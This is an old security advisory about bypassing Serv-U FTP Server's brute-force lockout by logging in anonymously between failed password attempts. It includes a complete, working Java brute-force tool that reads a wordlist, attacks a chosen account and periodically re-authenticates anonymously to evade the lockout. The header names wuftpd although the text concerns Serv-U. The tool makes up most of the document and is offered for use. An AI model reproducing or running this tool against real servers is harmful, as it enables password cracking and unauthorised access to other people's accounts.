COMMAND
wuftpd
SYSTEMS AFFECTED
wuftpd
PROBLEM
Craig found following. While playing around with Serv-U FTP
Server, he found out that it is possible to bypass it's hammering
protection which should protect accounts from being brute-forced.
In the following text we will explain this step by step.
A user logs into an ftp server like this:
USER USERNAME
PASS PASSWORD
When the user entered an invalid password for 3 times he will be
disconnected and is not allowed to connect again for a specified
time - so far so good, but Craig wondered what happened if Ihe
tried another users account in order to try 3 passwords for every
user per connection (lines with the prefix ">" are from the
server).
USER USER1
>331 User name okay, need password.
PASS PASSWORD
>530 Not logged in.
USER USER1
>331 User name okay, need password.
PASS nextpassPASSWORD
>530 Not logged in.
USER USER2
>331 User name okay, need password.
PASS anotherPASSWORD
>530 Not logged in.
Craig was disconnected, and already about to give up when he
noticed that anonymous login was enabled:
USER USER1
>331 User name okay, need password.
PASS PASSWORD
>530 Not logged in.
USER USER1
>331 User name okay, need password.
PASS nextpassPASSWORD
>530 Not logged in.
USER anonymous
>331 User name okay, please send complete E-mail address as password.
PASS somemail@address.com
>230 User logged in, proceed.
USER USERNAME
>331 User name okay, need password.
PASS 3rdPASSWORD
>530 Not logged in.
USER USERNAME
>331 User name okay, need password.
PASS 4thPASSWORD
>530 Not logged in.
...
...
BINGO! That worked!
This does not only work with anonymous access, you just need to
log into an account and then you can retry to log into the user's
account!
Craig coded a little program in java to automate the brute forcing
process which reads the passwords from a wordlist. In his local
network it tested about 100 passwords per minute - that is not
very fast, but it only uses one connection and as far as we know
it's the only tool that bypasses the anti brute-force function...
Brutus-aet2 (with 10 connections, 10ms timeout, disabled
anti-hammering of course) made 20 tries per second - Craig's
program is only single-threaded, but if its method was implented
into brutus-aet3 it might be the fastest ftp brute-force tool
ever.
import java.io.*;
import java.net.*;
import java.util.*;
public class newftpbrute
{
static boolean cancel=false;
static boolean found=false;
static String File;
static String User;
static String line="";
static String FTPPass;
static String Server="";
static int Counter;
static int tries;
static BufferedReader quelle;
static DataInputStream sin;
static PrintStream sout;
static Socket s = null;
void getdata()
{
try
{
System.out.print("FTP-Server>");
DataInputStream in = new DataInputStream (System.in);
Server=in.readLine();
System.out.print("Username>");
in = new DataInputStream (System.in);
User=in.readLine();
System.out.print("Wordlist>");
in = new DataInputStream (System.in);
File=in.readLine();
System.out.print("\n");
try
{
quelle=new BufferedReader(new FileReader(File));
}
catch (FileNotFoundException FNF){};
}
catch (IOException e){}
}//getdata()
void connect()
{
try
{
s = new Socket(Server, 21);
sin = new DataInputStream (s.getInputStream());
sout = new PrintStream (s.getOutputStream());
}
catch (IOException e){}
}
void CheckForAnonymous()
{
try
{
boolean NoAno=false;
sout.println("USER anonymous");
if ((line=sin.readLine()).indexOf("331")==-1)
NoAno=true;
while (true)
{
if (line.indexOf("220")>-1)line=sin.readLine();
else break;
}
sout.println("pass evil_hacker@j00r_server.com");
if ((line=sin.readLine()).indexOf("230 ")>-1)
{
System.out.println("Anonymous access allowed...");
NoAno=false;
}
else
NoAno=true;
if (NoAno)
{
System.out.println("Anonymous Access not allowed...quitting!");
System.exit(0);
}
}//try
catch (IOException e)
{
System.out.println("Error Connecting:"+e+" quitting...");
System.exit(0);
}
}//CheckForAnonymous
public static void main(String[] args)
{
System.out.println("NEW type of FTP brute force\nCoded by Craig from [ H a Q u a r t e r ]\nHTTP://www.HaQuarter.De\n");
newftpbrute now=new newftpbrute();
now.getdata();
now.connect();
try
{
if ((line=sin.readLine()).indexOf("220")==-1)
{
System.out.println("Error...ftp server sends unexpected input");
cancel=true;
}
now.CheckForAnonymous();
while (cancel==false && ((FTPPass=quelle.readLine())!=null))
{
Counter++;
tries++;
System.out.println("#"+tries+" "+FTPPass);
sout.println("USER "+User);
if ((line=sin.readLine()).indexOf("331 ")==-1)
{
System.out.println("Error: username not accepted...quitting ");
System.exit(0);
}
sout.println("PASS "+FTPPass);
if ((line=sin.readLine()).indexOf("230 ")>-1)
{
found=true;
break;
}
if (Counter%2==0)
{
System.out.println("-");
sout.println("user anonymous");
line=sin.readLine();
sout.println("pass evil_hacker@j00r_server.com");
line=sin.readLine();
Counter=0;
}
}//while
if (found==true)
System.out.println("\nAccount was cracked after "+tries+" tries. Password for user "+User+" is \""+FTPPass+"\"\n");
}//try
catch (IOException e){}
}//main
}//class
SOLUTION
Nothing yet.